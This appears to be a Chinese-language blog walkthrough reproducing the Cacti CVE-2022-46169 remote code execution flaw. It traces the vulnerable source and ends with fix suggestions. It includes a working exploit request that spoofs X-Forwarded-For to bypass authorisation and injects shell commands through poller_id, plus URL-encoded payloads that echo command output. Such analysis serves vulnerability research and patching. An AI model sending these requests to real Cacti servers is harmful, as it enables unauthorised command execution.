CVE-2022-46169 的rce 漏洞复现
环境配置 我们在docker环境内配置
然后我们在vs code连接docker容器
现在需要配置xdebug,等会方便我们追代码
1 2 3 4 5 6 7 8 9 10 pecl install xdebug-3.1.6 运行安装 xdebug docker-php-ext-enable xdebug 启用 xdebug 扩展 在/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini,添加如下内容: zend_extension=xdebug xdebug.mode=debug xdebug.start_with_request=yes
这个添加需要我们在vs code中完成
然后我们需要重启一下容器
docker restart edf5255aa17d
然后重新连接即可
完成后我们就可以愉快的调试了
没问题断下来了
我们还需要创建一个采集器
然后我们就可以退出登录了
避免session的影响
代码审计 我么的漏洞利用点在/remote_agent.php
因为我们有payload ,直接下断。传入看一下整个流程
1 2 /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` X-Forwarded-For: 127.0.0.1
断下来了
往下追
这里发现有一个鉴权函数,我们进去看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 function remote_client_authorized ( ) { global $poller_db_cnn_id ; $client_addr = get_client_addr (); if ($client_addr === false ) { return false ; } if (!filter_var ($client_addr , FILTER_VALIDATE_IP)) { cacti_log ('ERROR: Invalid remote agent client IP Address. Exiting' ); return false ; } $client_name = gethostbyaddr ($client_addr ); if ($client_name == $client_addr ) { cacti_log ('NOTE: Unable to resolve hostname from address ' . $client_addr , false , 'WEBUI' , POLLER_VERBOSITY_MEDIUM); } else { $client_name = remote_agent_strip_domain ($client_name ); } $pollers = db_fetch_assoc ('SELECT * FROM poller' , true , $poller_db_cnn_id ); if (cacti_sizeof ($pollers )) { foreach ($pollers as $poller ) { if (remote_agent_strip_domain ($poller ['hostname' ]) == $client_name ) { return true ; } elseif ($poller ['hostname' ] == $client_addr ) { return true ; } } } cacti_log ("Unauthorized remote agent access attempt from $client_name ($client_addr )" ); return false ; }
这里我们发现,$client_addr = get_client_addr();
直接通过这个函数来获取的ip地址,我们继续进去看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function get_client_addr ($client_addr = false ) { $http_addr_headers = array ( 'X-Forwarded-For' , 'X-Client-IP' , 'X-Real-IP' , 'X-ProxyUser-Ip' , 'CF-Connecting-IP' , 'True-Client-IP' , 'HTTP_X_FORWARDED' , 'HTTP_X_FORWARDED_FOR' , 'HTTP_X_CLUSTER_CLIENT_IP' , 'HTTP_FORWARDED_FOR' , 'HTTP_FORWARDED' , 'HTTP_CLIENT_IP' , 'REMOTE_ADDR' , ); $client_addr = false ; foreach ($http_addr_headers as $header ) { if (!empty ($_SERVER [$header ])) { $header_ips = explode (',' , $_SERVER [$header ]); foreach ($header_ips as $header_ip ) { if (!empty ($header_ip )) { if (!filter_var ($header_ip , FILTER_VALIDATE_IP)) { cacti_log ('ERROR: Invalid remote client IP Address found in header (' . $header . ').' , false , 'AUTH' , POLLER_VERBOSITY_DEBUG); } else { $client_addr = $header_ip ; cacti_log ('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER [$header ] . ')' , false , 'AUTH' , POLLER_VERBOSITY_DEBUG); break 2 ; } } } } } return $client_addr ; }
这里看起来就是 依次取了这些请求头,然后将他放进下面取依次循环
这里用循环来判断ip是否合法
但是他这里直接break 2,跳出两层循环,
所以他一旦找到了一个合法的ip。他就会跳出循环直接将当前的ip赋值给client_addr
当我们不赋值的时候,他读取的REMOTE_ADDR 在我们设置的HTTP_X_FORWARDED_FOR的后面所以
他获取到了ip后就直接跳出了,127.0.0.1 ,合法 ,绕过了这个鉴权函数
重新下断到
进入分析
1 2 3 4 5 6 7 8 9 10 11 12 13 function set_default_action ($default = '' ) { if (!isset_request_var ('action' )) { set_request_var ('action' , $default ); } elseif (is_array (get_nfilter_request_var ('action' ))) { if (read_config_option ('log_validation' ) == 'on' ) { cacti_log ('WARNING: Request variable \'action\' was passed as array in ' . $_SERVER ['SCRIPT_NAME' ] . '.' , false , 'WEBUI' ); } set_request_var ('action' , $_REQUEST ['action' ][0 ]); } else { set_request_var ('action' , $_REQUEST ['action' ]); } }
这里就是对action做了处理
如果传入的action不正常,那么就会做如下处理
不允许传入数组,且必须要有参数
如果传入数组,那么就会提交日志,记录这是异常行为
所以这里我们需要传入正常的字符串
因为我们利用点 在后面那个pro 函数执行的地方,所以我们要进入
case 'polldata':
这个分支
也就是为什么,我们的action要传入polldata
这个值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 function poll_for_data ( ) { global $config ; $local_data_ids = get_nfilter_request_var ('local_data_ids' ); $host_id = get_filter_request_var ('host_id' ); $poller_id = get_nfilter_request_var ('poller_id' ); $return = array (); $i = 0 ; if (cacti_sizeof ($local_data_ids )) { foreach ($local_data_ids as $local_data_id ) { input_validate_input_number ($local_data_id ); $items = db_fetch_assoc_prepared ('SELECT * FROM poller_item WHERE host_id = ? AND local_data_id = ?' , array ($host_id , $local_data_id )); $script_server_calls = db_fetch_cell_prepared ('SELECT COUNT(*) FROM poller_item WHERE host_id = ? AND local_data_id = ? AND action = 2' , array ($host_id , $local_data_id )); if (cacti_sizeof ($items )) { foreach ($items as $item ) { switch ($item ['action' ]) { case POLLER_ACTION_SNMP: if (($item ['snmp_version' ] == 0 ) || (($item ['snmp_community' ] == '' ) && ($item ['snmp_version' ] != 3 ))) { $output = 'U' ; } else { $host = db_fetch_row_prepared ('SELECT ping_retries, max_oids FROM host WHERE hostname = ?' , array ($item ['hostname' ])); $session = cacti_snmp_session ($item ['hostname' ], $item ['snmp_community' ], $item ['snmp_version' ], $item ['snmp_username' ], $item ['snmp_password' ], $item ['snmp_auth_protocol' ], $item ['snmp_priv_passphrase' ], $item ['snmp_priv_protocol' ], $item ['snmp_context' ], $item ['snmp_engine_id' ], $item ['snmp_port' ], $item ['snmp_timeout' ], $host ['ping_retries' ], $host ['max_oids' ]); if ($session === false ) { $output = 'U' ; } else { $output = cacti_snmp_session_get ($session , $item ['arg1' ]); $session ->close (); } if (prepare_validate_result ($output ) === false ) { if (strlen ($output ) > 20 ) { $strout = 20 ; } else { $strout = strlen ($output ); } $output = 'U' ; } } $return [$i ]['value' ] = $output ; $return [$i ]['rrd_name' ] = $item ['rrd_name' ]; $return [$i ]['local_data_id' ] = $local_data_id ; break ; case POLLER_ACTION_SCRIPT: $output = trim (exec_poll ($item ['arg1' ])); if (prepare_validate_result ($output ) === false ) { if (strlen ($output ) > 20 ) { $strout = 20 ; } else { $strout = strlen ($output ); } $output = 'U' ; } $return [$i ]['value' ] = $output ; $return [$i ]['rrd_name' ] = $item ['rrd_name' ]; $return [$i ]['local_data_id' ] = $local_data_id ; break ; case POLLER_ACTION_SCRIPT_PHP: $cactides = array ( 0 => array ('pipe' , 'r' ), 1 => array ('pipe' , 'w' ), 2 => array ('pipe' , 'w' ) ); if (function_exists ('proc_open' )) { $cactiphp = proc_open (read_config_option ('path_php_binary' ) . ' -q ' . $config ['base_path' ] . '/script_server.php realtime ' . $poller_id , $cactides , $pipes ); $output = fgets ($pipes [1 ], 1024 ); $using_proc_function = true ; } else { $using_proc_function = false ; } if ($using_proc_function == true ) { $output = trim (str_replace ("\n" , '' , exec_poll_php ($item ['arg1' ], $using_proc_function , $pipes , $cactiphp ))); if (prepare_validate_result ($output ) === false ) { if (strlen ($output ) > 20 ) { $strout = 20 ; } else { $strout = strlen ($output ); } $output = 'U' ; } } else { $output = 'U' ; } $return [$i ]['value' ] = $output ; $return [$i ]['rrd_name' ] = $item ['rrd_name' ]; $return [$i ]['local_data_id' ] = $local_data_id ; if (($using_proc_function == true ) && ($script_server_calls > 0 )) { fwrite ($pipes [0 ], "quit\r\n" ); fclose ($pipes [0 ]); fclose ($pipes [1 ]); fclose ($pipes [2 ]); $return_value = proc_close ($cactiphp ); } break ; } $i ++; } } } } print json_encode ($return ); }
我们真正的利用点就在这个函数里面
这里 我们需要get传参 local_data_ids
,host_id
,poller_id
,
我们也可以发现,这里只有local_data_ids
后面加了s,大概率就是一个数组了,因为是复数嘛
,get_nfilter_request_var
他这里获取好像也过滤了我们的 get传参,进入分析
很简单的一个函数
看起来也并没有什么过滤
这里也成功的取到我们传入的参数
我们真正的执行语句就在这一句
1 $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
他先读取配置里 PHP 解释器的路径,确保用正确的 PHP 二进制执行,然后与目标执行的 PHP 脚本路径进行拼接,然后又与 $poller_id
拼接,最终执行了我们的rce
接下来我们倒着分析回去
看看如何让他进入这个分支
POLLER_ACTION_SCRIPT_PHP
想让他进入这个分支,
全局搜索发现这个的值为2
所以说这里我们 需要找到对应的action = 2 的时候
往上发现,他这里的action 是通过items 这个值传入的
也就是他会在数据库去查询,查询到这个action为2的
才会进入我们想要的分支
也就是说,我们需要控制 host_id
和local_data_id
这两个的值,让他代入去数据库中查询,精确查找出这个action=2,
然后我们去 连接一下数据库查询一下 poller_item 这个字段
查询后发现,只有 id=6的时候这个action才是2
所以这个时候,我们只需要拿出 host_id
和local_data_id
这两个的值
host_id = 1
local_data_id = 6
然后他就会进入这个进行循环,这时候这个action 就是2 ,也就成功进入了我们的分支
然后这里我们 local_data_ids 必须传入一个数组,不然他进这里这个循环就会报错
所以这里我们传的local_data_ids[0]=6
最后她走到我们的proc_open这里执行任意的函数,我们的rce 也生效了
但是这里他没有回显
我们继续深入研究一下,让他怎么才有回显
如何回显 我们知道proc_open
这个函数 能通过管道来输出,输入
这里正好他用fgets 从管道里面读取了1024个字节
然后他就会进入
using_proc_function
这个判断里面
$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));
这里他先用exec_poll_php 执行了一个php脚本
然后str_replace 去除结果中的换行符(\n
),
trim去除前后空白字符(包括空格、制表符等)
进入看看exec_poll_php
具体干了些什么
我们看到,他这里读了8192个字节,是否会将我们的执行结果也一起读出来呢?
prepare_validate_result
这个函数对output
做了过滤
为false,就会直接将output 赋值为‘U’,所以我们要想办法绕过
进入进行分析
这里他先去掉了首尾的 单引号,双引号,换行符,回车
1 2 3 if (is_numeric ($result )) { dsv_log ('prepare_validate_result' ,'data is numeric' ); return true ;
这里他判断是否是纯数字,是就直接返回true,但是这里我们的$output不可能是纯数字,所以直接pass
1 2 3 elseif ($result == 'U' ) { dsv_log ('prepare_validate_result' , 'data is U' ); return true ;
这里他判断值是不是U,不可能,也pass
1 2 3 elseif (is_hexadecimal ($result )) { dsv_log ('prepare_validate_result' , 'data is hex' ); return hexdec ($result );
这里看函数名像判断16进制,有可能,保留,(因为我们可以将输出结果通过管道符 转化为16进制)
1 2 3 4 5 elseif (substr_count ($result , ':' ) || substr_count ($result , '!' )) { if (substr_count ($result , ' ' ) == 0 ) { dsv_log ('prepare_validate_result' , 'data has no spaces' ); return true ;
这里先判断是否包含冒号(:)或感叹号(!),
在判断如果没有空格,就返回true,也有可能保留
最后一个else 里面直接将非数字字符全部清除了,只保留数字,pass
所以我们的目标就落在了
elseif (is_hexadecimal($result))
lseif (substr_count($result, ':') || substr_count($result, '!')) { if (substr_count($result, ' ') == 0) {
这两个判断里面,先分析16进制
1.清洗输入
$hexstr = str_replace(array(' ', '-'), ':', trim($result));
他先将输入字符串中的 空格和中划线(如 "00-1A-2B"
或 "00 1A 2B"
)统一转换为 冒号分隔(如 "00:1A:2B"
)。
并用 trim
去除前后空白字符。
2.按冒号分隔为数组
$parts = explode(':', $hexstr);
将统一格式的字符串切成数组
例如输入 "00:1A:2B:3C:4D:5E"
→ ["00", "1A", "2B", "3C", "4D", "5E"]
3.逐个检查每段是否为合法的两位十六进制数
foreach($parts as $part) {
if (strlen($part) != 2) return false;
if (ctype_xdigit($part) == false) return false;
}
每段必须是 长度为 2 的字符串,例如 "0F"
, "1a"
。
必须全部是 十六进制字符(0-9, A-F, a-f),否则返回 false
。
所有部分都符合条件,返回 true
,表示是合法的十六进制格式。
然后我们就要想办法 如何将输出的结果转换为 类似于mac地址这种的格式
问问大模型,给了4种方法
使用 xxd
+ sed
或 awk
(处理二进制/十六进制数据)
echo -n "abcdef" | xxd -p | sed 's/\(..\)/\1:/g; s/:$//'
本地测试有效果
docker环境内显示没有xdd,所以这个有可能可以用
使用 hexdump
echo -n "abcdef" | hexdump -v -e '1/1 "%02x:"' | sed 's/:$//'
这个跟上面的一样,也有可能环境中没有这个命令
用 xxd
处理文件并转换格式
xxd -p /bin/ls | tr -d '\n' | sed 's/\(..\)/\1:/g; s/:$//'
pass,跟第一种差不多
用 Bash + printf
hex="001a2b3c4d5e"
echo "$hex" | sed 's/../&:/g; s/:$//'
第四种直接pass,因为我们不能保证原文本就是十六进制的字符串
所以我们找到了两种有效的方式,可以转16进制
然后分析下
1 2 3 4 5 elseif (substr_count ($result , ':' ) || substr_count ($result , '!' )) { if (substr_count ($result , ' ' ) == 0 ) { dsv_log ('prepare_validate_result' , 'data has no spaces' ); return true ;
如何让我们的输出包含:
或者!
且还没有空格呢?
第一个判断很好绕过,我们直接传一个冒号或者感叹号就行。
第二个也很好想到,通过base64编码。
问了问大模型
使用 tr
删除所有空格
1 2 3 |echo "test\r\n :`id | tr -d ' '`"; 转一下 urlencode %7Cecho%20%22test%5Cr%5Cn%20:%60id%20%7C%20tr%20-d%20'%20'%60%22;
成功
使用 sed
删除所有空格字符
1 2 3 echo "test\r\n :`id | sed 's/ //g'`"; 转一下 urlencode %7Cecho%20%22test%5Cr%5Cn%20:%60id%20%7C%20sed%20's/%20//g'%60%22;
没问题
删除所有空白字符(包括空格、制表符、换行符)
1 2 |echo "test\r\n :`id | tr -d '[:space:]'`"; |echo "test\r\n :`id | sed 's/[[:space:]]//g'`";
道理跟前两种差不多
也可以执行,这里就不贴图了
base 64
1 |echo "test\r\n :`id | base64`";
成功
总结 rce 执行归结于 proc_open
函数 他直接进行了拼接,且未对我们用户的输入做过滤,导致了rce
鉴权函数也可以优化,最简单的方法就是改变一下那个数组的顺序,将用户不能控制的ip放在最前面,让他循环一次就会直接判断
而且他这个回显的过滤也很好绕过。
但是终归还是没对用户的输入做过滤